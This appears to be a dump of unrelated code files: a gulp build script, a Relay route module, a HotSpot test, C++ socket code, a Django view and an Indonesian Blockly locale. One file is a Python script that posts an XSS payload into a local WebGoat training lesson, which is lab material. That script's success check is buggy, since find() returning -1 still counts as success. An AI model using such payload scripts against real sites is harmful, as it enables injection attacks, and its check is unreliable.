    public void addLastName(String lastName) {

    }

    public void addCompany(String company) {

    }

    public void addPhoneNumber(String phoneNumber) {

    }

    public void addName(String name) {
        addressView.setName(name);
    }

    public void addPurpose(String purpose) {
        addressView.setPurpose(purpose);
    }

    public void addMembers(Map<String, String> members) {
        addressView.setMembers(members);
    }

}


text:
var fs = require('fs');
var gulp = require('gulp');
var karma = require('karma').server;
var concat = require('gulp-concat');
var jshint = require('gulp-jshint');
var header = require('gulp-header');
var footer = require('gulp-footer');
var rename = require('gulp-rename');
var es = require('event-stream');
var del = require('del');
var uglify = require('gulp-uglify');
var plumber = require('gulp-plumber');//To prevent pipe breaking caused by errors at 'watch'

var config = {
  pkg : JSON.parse(fs.readFileSync('./package.json')),
  banner:
      '/*!\n' +
      ' * <%= pkg.name %>\n' +
      ' * <%= pkg.homepage %>\n' +
      ' * Version: <%= pkg.version %> - <%= timestamp %>\n' +
      ' * License: <%= pkg.license %>\n' +
      ' */\n\n\n'
};

gulp.task('default', ['build','test']);
gulp.task('build', ['scripts']);
gulp.task('test', ['build', 'karma']);

gulp.task('watch', ['build','karma-watch'], function() {
  gulp.watch(['src/**/*.{js,html}'], ['build']);
});

gulp.task('clean', function(cb) {
  del(['dist'], cb);
});

gulp.task('scripts', ['clean'], function() {

  var buildLib = function(){
    return gulp.src(['src/*.js'])
      .pipe(plumber({
        errorHandler: handleError
      }))
      .pipe(header('(function () { \n\'use strict\';\n'))
      .pipe(footer('\n}());'))
      .pipe(jshint())
      .pipe(jshint.reporter('jshint-stylish'))
      .pipe(jshint.reporter('fail'));
  };

  return es.merge(buildLib())
    .pipe(plumber({
      errorHandler: handleError
    }))
    .pipe(concat('event.js'))
    .pipe(header(config.banner, {
      timestamp: (new Date()).toISOString(), pkg: config.pkg
    }))
    .pipe(gulp.dest('dist'))
    .pipe(uglify({preserveComments: 'some'}))
    .pipe(rename({ext:'.min.js'}))
    .pipe(gulp.dest('dist'));

});

gulp.task('karma', ['build'], function() {
  karma.start({configFile : __dirname +'/karma.conf.js', singleRun: true});
});

gulp.task('karma-watch', ['build'], function() {
  karma.start({configFile :  __dirname +'/karma.conf.js', singleRun: false});
});

var handleError = function (err) {
  console.log(err.toString());
  this.emit('end');
};


text:
import argparse
import re
import json
import sys
import requests

login_credentials={
	'username': 'guest',
	'password': 'guest'
}
attack_fields={
	'gId': 'Gmail id',
	'gPass': 'password',
	'subject' : 'Comment for Webgoat',
	'to': 'bill.gates@microsoft.com',
	'msg': '<script>alert("Bad Stuff");</script>'

}

current_session = requests.session()
home= current_session.get("http://127.0.0.1:8080/WebGoat/login.mvc")
login= current_session.post('http://127.0.0.1:8080/WebGoat/j_spring_security_check',login_credentials)
login= current_session.get("http://127.0.0.1:8080/WebGoat/service/lessonmenu.mvc")

our_site_link = json.loads(login.text)[16].get('children')[2].get('link')
vuln29_menu_page="http://127.0.0.1:8080/WebGoat/"+our_site_link

attack_page= current_session.get(vuln29_menu_page)
attack_page= current_session.post(vuln29_menu_page, attack_fields)

if attack_page.text.find('Congratulations. You have successfully completed this lesson'):
  print "Vulnerability Found"
else:
  print "No vulnerability present"


text:
Object.defineProperty(exports,'__esModule',{value:true});function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor)){throw new TypeError('Cannot call a class as a function');}}function _inherits(subClass,superClass){if(typeof superClass !== 'function' && superClass !== null){throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass);}subClass.prototype = Object.create(superClass && superClass.prototype,{constructor:{value:subClass,enumerable:false,writable:true,configurable:true}});if(superClass)Object.setPrototypeOf?Object.setPrototypeOf(subClass,superClass):subClass.__proto__ = superClass;}

'use strict';

var RelayDeprecated=require('./RelayDeprecated');

var RelayQueryConfig=require('./RelayQueryConfig');

var forEachObject=require('fbjs/lib/forEachObject');
var invariant=require('fbjs/lib/invariant');

var createURI=function(){return null;};var

RelayRoute=(function(_RelayQueryConfig){_inherits(RelayRoute,_RelayQueryConfig);

function RelayRoute(initialVariables,uri){_classCallCheck(this,RelayRoute);
_RelayQueryConfig.call(this,initialVariables);
var constructor=this.constructor;var

routeName=

constructor.routeName;var path=constructor.path;

!(
constructor !== RelayRoute)?process.env.NODE_ENV !== 'production'?invariant(false,
'RelayRoute: Abstract class cannot be instantiated.'):invariant(false):undefined;

!
routeName?process.env.NODE_ENV !== 'production'?invariant(false,
'%s: Subclasses of RelayRoute must define a `routeName`.',
constructor.name || '<<anonymous>>'):invariant(false):undefined;

if(!uri && path){
uri = createURI(constructor,this.params);}

Object.defineProperty(this,'uri',{
enumerable:true,
value:uri,
writable:false});}RelayRoute.prototype.

prepareVariables = function prepareVariables(prevVariables){var _constructor=

this.constructor;var paramDefinitions=_constructor.paramDefinitions;var prepareParams=_constructor.prepareParams;var processQueryParams=_constructor.processQueryParams;var routeName=_constructor.routeName;
if(processQueryParams && !prepareParams){
RelayDeprecated.warn({
was:routeName + '.processQueryParams',
now:routeName + '.prepareParams'});

prepareParams = processQueryParams;}

var params=prevVariables;
if(prepareParams){

params = prepareParams(params);}

forEachObject(paramDefinitions,function(paramDefinition,paramName){
if(params){
if(params.hasOwnProperty(paramName)){
return;}else
{

params[paramName] = undefined;}}

!
!paramDefinition.required?process.env.NODE_ENV !== 'production'?invariant(false,
'RelayRoute: Missing required parameter `%s` in `%s`. Check the ' +
'supplied params or URI.',
paramName,
routeName):invariant(false):undefined;});

return params;};RelayRoute.

injectURICreator = function injectURICreator(creator){
createURI = creator;};return RelayRoute;})(RelayQueryConfig);

module.exports = RelayRoute;


text:
/*
 * @test
 * @bug     4858522
 * @summary Basic unit test of HotspotClassLoadingMBean.getMethodDataSize()
 * @author  Steve Bohne
 * @run main/othervm -XX:+UsePerfData GetMethodDataSize
 */

/*
 * This test is just a sanity check and does not check for the correct value.
 */

import sun.management.*;

public class GetMethodDataSize {

    private static HotspotClassLoadingMBean mbean =
        (HotspotClassLoadingMBean)ManagementFactoryHelper.getHotspotClassLoadingMBean();

    // Careful with these values.
    private static final long MIN_VALUE_FOR_PASS = 1;
    private static final long MAX_VALUE_FOR_PASS = Long.MAX_VALUE;

    private static boolean trace = false;

    public static void main(String args[]) throws Exception {
        if (args.length > 0 && args[0].equals("trace")) {
            trace = true;
        }

        long value = mbean.getMethodDataSize();

        if (trace) {
            System.out.println("Method data size (bytes): " + value);
        }

        if (value < MIN_VALUE_FOR_PASS || value > MAX_VALUE_FOR_PASS) {
            throw new RuntimeException("Method data size " +
                                       "illegal value: " + value + " bytes " +
                                       "(MIN = " + MIN_VALUE_FOR_PASS + "; " +
                                       "MAX = " + MAX_VALUE_FOR_PASS + ")");
        }

        // increase method data size
        Class.forName("ClassToLoad2");

        long value2 = mbean.getMethodDataSize();

        if (trace) {
            System.out.println("Method data size2 (bytes): " + value2);
        }

        if (value2 <= value) {
            throw new RuntimeException("Method data size " +
                                       "did not increase " +
                                       "(value = " + value + "; " +
                                       "value2 = " + value2 + ")");
        }

        System.out.println("Test passed.");
    }
}

class ClassToLoad2 {
    int i = 0;

    public void method1() {
        i = 1;
    }
}


text:
#include <unistd.h>
#include <string.h>

#define BACKLOG 10

char* IncomingSocketManager::getAddress()
{
   char *hostname = (char*)malloc(1024);
   hostname[1023] = '\0';
   gethostname(hostname, 1023);
   return hostname;
}

int IncomingSocketManager::getPort(int listeningSocket)
{
   sockaddr_in my_addr;
   socklen_t channellen = sizeof(my_addr);
   getsockname(listeningSocket, (sockaddr*) &my_addr, &channellen);
   unsigned short portno = ntohs(my_addr.sin_port);
   return portno;
}

void IncomingSocketManager::printSocketInfo(int listeningSocket)
{
   std::cout << "BINDER_ADDRESS " << getAddress() << std::endl;
   std::cout << "BINDER_PORT " << getPort(listeningSocket) << std::endl;
}

int IncomingSocketManager::acceptConnection(int listeningSocket)
{
   sockaddr_in incoming_addr;
   socklen_t addr_size = sizeof(incoming_addr);
   int incoming_socketfd = accept(listeningSocket, (struct sockaddr *)&incoming_addr, &addr_size);
   if(incoming_socketfd == -1)
   {
      throw CONNECTION_ERROR;
   }

   return incoming_socketfd;
}

int IncomingSocketManager::createWelcomeSocket()
{
   struct sockaddr_in my_addr;
   int listen_socketfd;

   //Create a socket to listen for incoming connections
   listen_socketfd = socket(AF_INET, SOCK_STREAM, 0);
   if(listen_socketfd == -1)
      throw SOCKET_ERROR;

   //Bind the listening socket to a free port
   memset(&my_addr, 0, sizeof(my_addr));
   my_addr.sin_family = AF_INET;
   my_addr.sin_addr.s_addr = INADDR_ANY;
   if(bind(listen_socketfd, (sockaddr *) &my_addr, sizeof(my_addr)))
      throw CONNECTION_ERROR;

   //Listen for incoming connections
   if(listen(listen_socketfd, BACKLOG) == -1)
      throw CONNECTION_ERROR;

   return listen_socketfd;
}


text:
from django.views.decorators.csrf import ensure_csrf_cookie
from django.views.generic.base import TemplateView
from django.utils.decorators import method_decorator

class IndexView(TemplateView):
    template_name = 'bucketlists.html'

    @method_decorator(ensure_csrf_cookie)
    def dispatch(self, *args, **kwargs):
        """Add csrf protection to all decorated class views."""
        return super(IndexView, self).dispatch(*args, **kwargs)


text:
var studio_locale = {lc:{"ar":function(n){
  if (n === 0) {
    return 'zero';
  }
  if (n == 1) {
    return 'one';
  }
  if (n == 2) {
    return 'two';
  }
  if ((n % 100) >= 3 && (n % 100) <= 10 && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 100) >= 11 && (n % 100) <= 99 && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"en":function(n){return n===1?"one":"other"},"bg":function(n){return n===1?"one":"other"},"bn":function(n){return n===1?"one":"other"},"ca":function(n){return n===1?"one":"other"},"cs":function(n){
  if (n == 1) {
    return 'one';
  }
  if (n == 2 || n == 3 || n == 4) {
    return 'few';
  }
  return 'other';
},"da":function(n){return n===1?"one":"other"},"de":function(n){return n===1?"one":"other"},"el":function(n){return n===1?"one":"other"},"es":function(n){return n===1?"one":"other"},"et":function(n){return n===1?"one":"other"},"eu":function(n){return n===1?"one":"other"},"fa":function(n){return "other"},"fi":function(n){return n===1?"one":"other"},"fil":function(n){return n===0||n==1?"one":"other"},"fr":function(n){return Math.floor(n)===0||Math.floor(n)==1?"one":"other"},"ga":function(n){return n==1?"one":(n==2?"two":"other")},"gl":function(n){return n===1?"one":"other"},"he":function(n){return n===1?"one":"other"},"hi":function(n){return n===0||n==1?"one":"other"},"hr":function(n){
  if ((n % 10) == 1 && (n % 100) != 11) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 4 &&
      ((n % 100) < 12 || (n % 100) > 14) && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 10) === 0 || ((n % 10) >= 5 && (n % 10) <= 9) ||
      ((n % 100) >= 11 && (n % 100) <= 14) && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"hu":function(n){return "other"},"id":function(n){return "other"},"is":function(n){
    return ((n%10) === 1 && (n%100) !== 11) ? 'one' : 'other';
  },"it":function(n){return n===1?"one":"other"},"ja":function(n){return "other"},"ko":function(n){return "other"},"lt":function(n){
  if ((n % 10) == 1 && ((n % 100) < 11 || (n % 100) > 19)) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 9 &&
      ((n % 100) < 11 || (n % 100) > 19) && n == Math.floor(n)) {
    return 'few';
  }
  return 'other';
},"lv":function(n){
  if (n === 0) {
    return 'zero';
  }
  if ((n % 10) == 1 && (n % 100) != 11) {
    return 'one';
  }
  return 'other';
},"mk":function(n){return (n%10)==1&&n!=11?"one":"other"},"mr":function(n){return n===1?"one":"other"},"ms":function(n){return "other"},"mt":function(n){
  if (n == 1) {
    return 'one';
  }
  if (n === 0 || ((n % 100) >= 2 && (n % 100) <= 4 && n == Math.floor(n))) {
    return 'few';
  }
  if ((n % 100) >= 11 && (n % 100) <= 19 && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"nl":function(n){return n===1?"one":"other"},"no":function(n){return n===1?"one":"other"},"pl":function(n){
  if (n == 1) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 4 &&
      ((n % 100) < 12 || (n % 100) > 14) && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 10) === 0 || n != 1 && (n % 10) == 1 ||
      ((n % 10) >= 5 && (n % 10) <= 9 || (n % 100) >= 12 && (n % 100) <= 14) &&
      n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"pt":function(n){return n===1?"one":"other"},"ro":function(n){
  if (n == 1) {
    return 'one';
  }
  if (n === 0 || n != 1 && (n % 100) >= 1 &&
      (n % 100) <= 19 && n == Math.floor(n)) {
    return 'few';
  }
  return 'other';
},"ru":function(n){
  if ((n % 10) == 1 && (n % 100) != 11) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 4 &&
      ((n % 100) < 12 || (n % 100) > 14) && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 10) === 0 || ((n % 10) >= 5 && (n % 10) <= 9) ||
      ((n % 100) >= 11 && (n % 100) <= 14) && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"sk":function(n){
  if (n == 1) {
    return 'one';
  }
  if (n == 2 || n == 3 || n == 4) {
    return 'few';
  }
  return 'other';
},"sl":function(n){
  if ((n % 100) == 1) {
    return 'one';
  }
  if ((n % 100) == 2) {
    return 'two';
  }
  if ((n % 100) == 3 || (n % 100) == 4) {
    return 'few';
  }
  return 'other';
},"sq":function(n){return n===1?"one":"other"},"sr":function(n){
  if ((n % 10) == 1 && (n % 100) != 11) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 4 &&
      ((n % 100) < 12 || (n % 100) > 14) && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 10) === 0 || ((n % 10) >= 5 && (n % 10) <= 9) ||
      ((n % 100) >= 11 && (n % 100) <= 14) && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"sv":function(n){return n===1?"one":"other"},"ta":function(n){return n===1?"one":"other"},"th":function(n){return "other"},"tr":function(n){return n===1?"one":"other"},"uk":function(n){
  if ((n % 10) == 1 && (n % 100) != 11) {
    return 'one';
  }
  if ((n % 10) >= 2 && (n % 10) <= 4 &&
      ((n % 100) < 12 || (n % 100) > 14) && n == Math.floor(n)) {
    return 'few';
  }
  if ((n % 10) === 0 || ((n % 10) >= 5 && (n % 10) <= 9) ||
      ((n % 100) >= 11 && (n % 100) <= 14) && n == Math.floor(n)) {
    return 'many';
  }
  return 'other';
},"ur":function(n){return n===1?"one":"other"},"vi":function(n){return "other"},"zh":function(n){return "other"}},
c:function(d,k){if(!d)throw new Error("MessageFormat: Data required for '"+k+"'.")},
n:function(d,k,o){if(isNaN(d[k]))throw new Error("MessageFormat: '"+k+"' isn't a number.");return d[k]-(o||0)},
v:function(d,k){studio_locale.c(d,k);return d[k]},
p:function(d,k,o,l,p){studio_locale.c(d,k);return d[k] in p?p[d[k]]:(k=studio_locale.lc[l](d[k]-o),k in p?p[k]:p.other)},
s:function(d,k,p){studio_locale.c(d,k);return d[k] in p?p[d[k]]:p.other}};
(window.blockly = window.blockly || {}).studio_locale = {
"actor":function(d){return "aktor"},
"addItems1":function(d){return "Tambahkan 1 jenis item"},
"addItems2":function(d){return "Tambahkan 2 jenis item"},
"addItems3":function(d){return "Tambahkan 3 jenis item"},
"addItems5":function(d){return "Tambahkan 5 jenis item"},
"addItems10":function(d){return "Tambahkan 10 jenis item"},
"addItemsRandom":function(d){return "Tambahkan jenis item acak"},
"addItemsTooltip":function(d){return "Menambahkan item ke TKP."},
"alienInvasion":function(d){return "Serangan Alien!"},
"backgroundBlack":function(d){return "hitam"},
"backgroundCave":function(d){return "gua"},
"backgroundCloudy":function(d){return "berawan"},
"backgroundHardcourt":function(d){return "kasar"},
"backgroundNight":function(d){return "malam"},
"backgroundUnderwater":function(d){return "di dalam air"},
"backgroundCity":function(d){return "kota"},
"backgroundDesert":function(d){return "gurun"},
"backgroundRainbow":function(d){return "pelangi"},
"backgroundSoccer":function(d){return "sepak bola"},
"backgroundSpace":function(d){return "Luar Angkasa"},
"backgroundTennis":function(d){return "tenis"},
"backgroundWinter":function(d){return "musim dingin"},
"catActions":function(d){return "Aksi"},
"catControl":function(d){return "Loop"},
"catEvents":function(d){return "kegiatan"},
"catLogic":function(d){return "Logika"},
"catMath":function(d){return "Matematika"},
"catProcedures":function(d){return "fungsi"},
"catText":function(d){return "Teks"},
"catVariables":function(d){return "variabel"},
"changeScoreTooltip":function(d){return "Menambah atau menghapus satu angka untuk Skor."},
"changeScoreTooltipK1":function(d){return "Tambahkan satu angka ke Skor."},
"continue":function(d){return "Lanjutkan"},
"decrementPlayerScore":function(d){return "hapus angka"},
"defaultSayText":function(d){return "ketik di sini"},
"dropletBlock_changeScore_description":function(d){return "Menambah atau menghapus satu angka untuk Skor."},
"dropletBlock_penColour_description":function(d){return "Sets the color of the line drawn behind the turtle as it moves"},
"dropletBlock_penColour_param0":function(d){return "color"},
"dropletBlock_setBackground_description":function(d){return "tetapkan latar belakang gambar"},
"dropletBlock_setSpriteEmotion_description":function(d){return "Tetapkan suasana hati aktor"},
"dropletBlock_setSpritePosition_description":function(d){return "gerakkan langsung aktor ke tempat yang ditentukan"},
"dropletBlock_setSpriteSpeed_description":function(d){return "atur kecepatan aktor"},
"dropletBlock_setSprite_description":function(d){return "atur gambar aktor"},
"dropletBlock_throw_description":function(d){return "melempar sebuah objek ke aktor tertentu"},
"dropletBlock_vanish_description":function(d){return "Lenyapkan aktor."},
"emotion":function(d){return "perasaan"},
"finalLevel":function(d){return "Horee! Anda telah memecahkan teka-teki akhir."},
"for":function(d){return "untuk"},
"hello":function(d){return "Halo"},
"helloWorld":function(d){return "Halo dunia!"},
"incrementPlayerScore":function(d){return "Mengukur titik"},
"itemBlueFireball":function(d){return "bola api biru"},
"itemPurpleFireball":function(d){return "bola api ungu"},
"itemRedFireball":function(d){return "bola api merah"},
"itemYellowHearts":function(d){return "hati kuning"},
"itemPurpleHearts":function(d){return "hati ungu"},
"itemRedHearts":function(d){return "hati merah"},
"itemRandom":function(d){return "acak"},
"itemAnna":function(d){return "Hook"},
"itemElsa":function(d){return "kilauan"},
"itemHiro":function(d){return "microbots"},
"itemBaymax":function(d){return "roket"},
"itemRapunzel":function(d){return "panci"},
"itemCherry":function(d){return "ceri"},
"itemIce":function(d){return "es"},
"itemDuck":function(d){return "bebek"},
"makeProjectileDisappear":function(d){return "menghilang"},
"makeProjectileBounce":function(d){return "memantul"},
"makeProjectileBlueFireball":function(d){return "buat bola api biru"},
"makeProjectilePurpleFireball":function(d){return "buat bola api ungu"},
"makeProjectileRedFireball":function(d){return "buat bola api merah"},
"makeProjectileYellowHearts":function(d){return "buat hati-hati kuning"},
"makeProjectilePurpleHearts":function(d){return "buat hati ungu"},
"makeProjectileRedHearts":function(d){return "Buat hati-hati merah"},
"makeProjectileTooltip":function(d){return "Membuat peluru yang baru saja bertabrakan menghilang atau memantul."},
"makeYourOwn":function(d){return "Membuat aplikasi Play Lab anda sendiri"},
"moveDirectionDown":function(d){return "turun"},
"moveDirectionLeft":function(d){return "kiri"},
"moveDirectionRight":function(d){return "kanan"},
"moveDirectionUp":function(d){return "atas"},
"moveDirectionRandom":function(d){return "acak"},
"moveDistance25":function(d){return "25 pixel"},
"moveDistance50":function(d){return "50 pixel"},
"moveDistance100":function(d){return "100 piksel"},
"moveDistance200":function(d){return "200 piksel"},
"moveDistance400":function(d){return "400 piksel"},
"moveDistancePixels":function(d){return "piksel"},
"moveDistanceRandom":function(d){return "piksel-piksel acak"},
"moveDistanceTooltip":function(d){return "memindahkan aktor dalam jarak tertentu ke arah yang telah ditentukan"},
"moveSprite":function(d){return "bergerak"},
"moveSpriteN":function(d){return "pindahkan aktor "+studio_locale.v(d,"spriteIndex")},
"toXY":function(d){return "ke x, y"},
"moveDown":function(d){return "Pindahkan ke bawah"},
"moveDownTooltip":function(d){return "pindahkan aktor ke bawah."},
"moveLeft":function(d){return "Gerak ke kiri"},
"moveLeftTooltip":function(d){return "pindahkan aktor ke kiri."},
"moveRight":function(d){return "Gerak ke kanan"},
"moveRightTooltip":function(d){return "pindahkan aktor ke kanan."},
"moveUp":function(d){return "Gerak ke atas"},
"moveUpTooltip":function(d){return "Pindahkan aktor ke atas."},
"moveTooltip":function(d){return "Pindahkan aktor."},
"nextLevel":function(d){return "Horee! Anda telah menyelesaikan teka-teki ini."},
"no":function(d){return "Tidak"},
"numBlocksNeeded":function(d){return "Teka-teki ini dapat diselesaikan dengan %1 blok."},
"onEventTooltip":function(d){return "Mengeksekusi kode dalam menanggapi acara tertentu."},
"ouchExclamation":function(d){return "Aduh!"},
"playSoundCrunch":function(d){return "mainkan bunyi \"crunch\""},
"playSoundGoal1":function(d){return "Mainkan suara gol 1"},
"playSoundGoal2":function(d){return "Mainkan suara gol 2"},
"playSoundHit":function(d){return "Mainkan suara pukulan"},
"playSoundLosePoint":function(d){return "mainkan suara kehilangan poin"},
"playSoundLosePoint2":function(d){return "mainkan suara kehilangan poin 2"},
"playSoundRetro":function(d){return "Mainkan suara retro "},
"playSoundRubber":function(d){return "mainkan suara karet"},
"playSoundSlap":function(d){return "putar suara tamparan"},
"playSoundTooltip":function(d){return "mainkan bunyi pilihan."},
"playSoundWinPoint":function(d){return "Putar suara  titik menang"},
"playSoundWinPoint2":function(d){return "Putar suara titik menang 2"},
"playSoundWood":function(d){return "mainkan suara kayu"},
"positionOutTopLeft":function(d){return "ke atas posisi kiri atas"},
"positionOutTopRight":function(d){return "ke atas posisi kanan atas"},
"positionTopOutLeft":function(d){return "ke paling atas di luar posisi kiri"},
"positionTopLeft":function(d){return "ke posisi kiri atas"},
"positionTopCenter":function(d){return "ke posisi tengah atas"},
"positionTopRight":function(d){return "ke posisi kanan atas"},
"positionTopOutRight":function(d){return "ke paling atas di luar posisi kanan"},
"positionMiddleLeft":function(d){return "ke tengah posisi kiri"},
"positionMiddleCenter":function(d){return "ke tengah posisi tengah"},
"positionMiddleRight":function(d){return "ke tengah posisi kanan"},
"positionBottomOutLeft":function(d){return "ke bawah posisi kiri luar"},
"positionBottomLeft":function(d){return "ke bawah posisi kiri"},
"positionBottomCenter":function(d){return "ke bawah posisi tengah"},
"positionBottomRight":function(d){return "ke bawah posisi kanan"},
"positionBottomOutRight":function(d){return "ke bawah posisi kanan luar"},
"positionOutBottomLeft":function(d){return "ke bawah bagian bawah posisi kiri"},
"positionOutBottomRight":function(d){return "ke bawah bagian bawah sebelah kanan"},
"positionRandom":function(d){return "ke posisi acak"},
"projectileBlueFireball":function(d){return "bola api biru"},
"projectilePurpleFireball":function(d){return "bola api ungu"},
"projectileRedFireball":function(d){return "bola api merah"},
"projectileYellowHearts":function(d){return "hati kuning"},
"projectilePurpleHearts":function(d){return "hati ungu"},
"projectileRedHearts":function(d){return "hati merah"},
"projectileRandom":function(d){return "acak"},
"projectileAnna":function(d){return "Hook"},
"projectileElsa":function(d){return "kilauan"},
"projectileHiro":function(d){return "Hiro"},
"projectileBaymax":function(d){return "roket"},
"projectileRapunzel":function(d){return "panci"},
"projectileCherry":function(d){return "ceri"},
"projectileIce":function(d){return "es"},
"projectileDuck":function(d){return "bebek"},
"reinfFeedbackMsg":function(d){return "Kamu dapat menekan tombol \"Terus Bermain\" untuk kembali memainkan cerita kamu."},
"repeatForever":function(d){return "Ulangi selamanya"},
"repeatDo":function(d){return "kerjakan"},
"repeatForeverTooltip":function(d){return "jalankan tindakan-tindakan dalam  blok ini saat cerita masih berjalan"},
"saySprite":function(d){return "mengatakan"},
"saySpriteN":function(d){return "aktor "+studio_locale.v(d,"spriteIndex")+" mengatakan"},
"saySpriteTooltip":function(d){return "Munculkan pop up dengan teks dari aktor tertentu."},
"saySpriteChoices_0":function(d){return "Hai."},
"saySpriteChoices_1":function(d){return "Hai semua."},
"saySpriteChoices_2":function(d){return "Apa kabar?"},
"saySpriteChoices_3":function(d){return "Selamat pagi"},
"saySpriteChoices_4":function(d){return "Selamat siang"},
"saySpriteChoices_5":function(d){return "Selamat malam"},
"saySpriteChoices_6":function(d){return "Selamat sore"},
"saySpriteChoices_7":function(d){return "Apa yang baru?"},
"saySpriteChoices_8":function(d){return "Apa?"},
"saySpriteChoices_9":function(d){return "Di mana?"},
"saySpriteChoices_10":function(d){return "Kapan?"},
"saySpriteChoices_11":function(d){return "Bagus."},
"saySpriteChoices_12":function(d){return "Hebat!"},
"saySpriteChoices_13":function(d){return "Baiklah."},
"saySpriteChoices_14":function(d){return "Tidak buruk."},
"saySpriteChoices_15":function(d){return "Semoga berhasil."},
"saySpriteChoices_16":function(d){return "Ya"},
"saySpriteChoices_17":function(d){return "Tidak"},
"saySpriteChoices_18":function(d){return "Oke"},
"saySpriteChoices_19":function(d){return "Lemparan yang bagus!"},
"saySpriteChoices_20":function(d){return "Semoga hari kamu menyenangkan."},
"saySpriteChoices_21":function(d){return "Dah."},
"saySpriteChoices_22":function(d){return "Aku akan segera kembali."},
"saySpriteChoices_23":function(d){return "Sampai jumpa besok!"},
"saySpriteChoices_24":function(d){return "Sampai bertemu lagi!"},
"saySpriteChoices_25":function(d){return "Jaga diri!"},
"saySpriteChoices_26":function(d){return "Selamat menikmati!"},
"saySpriteChoices_27":function(d){return "Saya harus pergi."},
"saySpriteChoices_28":function(d){return "Ingin menjadi teman?"},
"saySpriteChoices_29":function(d){return "Kerja yang bagus!"},
"saySpriteChoices_30":function(d){return "Woo hoo!"},
"saySpriteChoices_31":function(d){return "Yay!"},
"saySpriteChoices_32":function(d){return "Senang bertemu dengan kamu."},
"saySpriteChoices_33":function(d){return "Baiklah!"},
"saySpriteChoices_34":function(d){return "Terima kasih"},
"saySpriteChoices_35":function(d){return "Tidak, terima kasih"},
"saySpriteChoices_36":function(d){return "Aaaaaah!"},
"saySpriteChoices_37":function(d){return "Lupakan saja"},
"saySpriteChoices_38":function(d){return "Hari ini"},
"saySpriteChoices_39":function(d){return "Besok"},
"saySpriteChoices_40":function(d){return "Kemarin"},
"saySpriteChoices_41":function(d){return "Aku menemukan kamu!"},
"saySpriteChoices_42":function(d){return "Kamu menemukan aku!"},
"saySpriteChoices_43":function(d){return "10, 9, 8, 7, 6, 5, 4, 3, 2, 1!"},
"saySpriteChoices_44":function(d){return "Kamu hebat!"},
"saySpriteChoices_45":function(d){return "Kamu lucu!"},
"saySpriteChoices_46":function(d){return "Kamu konyol! "},
"saySpriteChoices_47":function(d){return "Kamu adalah teman yang baik!"},
"saySpriteChoices_48":function(d){return "Awas!"},
"saySpriteChoices_49":function(d){return "Menunduk!"},
"saySpriteChoices_50":function(d){return "Kena!"},
"saySpriteChoices_51":function(d){return "Ow!"},
"saySpriteChoices_52":function(d){return "Maaf!"},
"saySpriteChoices_53":function(d){return "Hati-hati!"},
"saySpriteChoices_54":function(d){return "Wah!"},
"saySpriteChoices_55":function(d){return "Ups!"},
"saySpriteChoices_56":function(d){return "Anda hampir membuat saya!"},
"saySpriteChoices_57":function(d){return "Usaha yang bagus!"},
"saySpriteChoices_58":function(d){return "Kamu tidak bisa menangkap aku!"},
"scoreText":function(d){return "Skor: "+studio_locale.v(d,"playerScore")},
"setBackground":function(d){return "atur latar belakang"},
"setBackgroundRandom":function(d){return "tetapkan latar belakang acak"},
"setBackgroundBlack":function(d){return "menetapkan latar belakang hitam"},
"setBackgroundCave":function(d){return "set latar belakang gua"},
"setBackgroundCloudy":function(d){return "menetapkan latar belakang berawan"},
"setBackgroundHardcourt":function(d){return "set latar belakang hardcourt"},
"setBackgroundNight":function(d){return "atur latar belakang malam hari"},
"setBackgroundUnderwater":function(d){return "menetapkan latar belakang bawah air"},
"setBackgroundCity":function(d){return "atur latar belakang kota"},
"setBackgroundDesert":function(d){return "atur latar belakang padang pasir"},
"setBackgroundRainbow":function(d){return "atur latar belakang pelangi"},
"setBackgroundSoccer":function(d){return "atur latar belakang sepak bola"},
"setBackgroundSpace":function(d){return "atur latar belakang luar angkasa"},
"setBackgroundTennis":function(d){return "atur latar belakang tennis"},
"setBackgroundWinter":function(d){return "atur latar belakang musim dingin"},
"setBackgroundLeafy":function(d){return "Menetapkan latar belakang berdaun"},
"setBackgroundGrassy":function(d){return "Menetapkan latar belakang berumput"},
"setBackgroundFlower":function(d){return "Menetapkan latar belakang bunga"},
"setBackgroundTile":function(d){return "Menetapkan latar belakang tile"},
"setBackgroundIcy":function(d){return "Menetapkan latar belakang es"},
"setBackgroundSnowy":function(d){return "Menetapkan latar belakang bersalju"},
"setBackgroundTooltip":function(d){return "Atur gambar latar belakang"},
"setEnemySpeed":function(d){return "atur kecepatan musuh"},
"setPlayerSpeed":function(d){return "Atur kecepatan pemain"},
"setScoreText":function(d){return "tetapkan skor"},
"setScoreTextTooltip":function(d){return "atur teks yang ditampilkan di area skor"},
"setSpriteEmotionAngry":function(d){return "ke suasana marah"},
"setSpriteEmotionHappy":function(d){return "menjadi suasana hati bahagia"},
"setSpriteEmotionNormal":function(d){return "menjadi suasana yang normal"},
"setSpriteEmotionRandom":function(d){return "menjadi suasana hati acak"},
"setSpriteEmotionSad":function(d){return "menjadi suasana hati sedih"},
"setSpriteEmotionTooltip":function(d){return "Tetapkan suasana hati aktor"},
"setSpriteAlien":function(d){return "menjadi gambar alien"},
"setSpriteBat":function(d){return "untuk ke gambar kelelawar"},
"setSpriteBird":function(d){return "untuk ke gambar burung"},
"setSpriteCat":function(d){return "menjadi sebuah gambar kucing"},
"setSpriteCaveBoy":function(d){return "menjadi gambar anak gua laki-laki"},
"setSpriteCaveGirl":function(d){return "menjadi gambar anak gua perempuan"},
"setSpriteDinosaur":function(d){return "menjadi gambar dinosaurus"},
"setSpriteDog":function(d){return "menjadi gambar anjing"},
"setSpriteDragon":function(d){return "untuk ke gambar naga"},
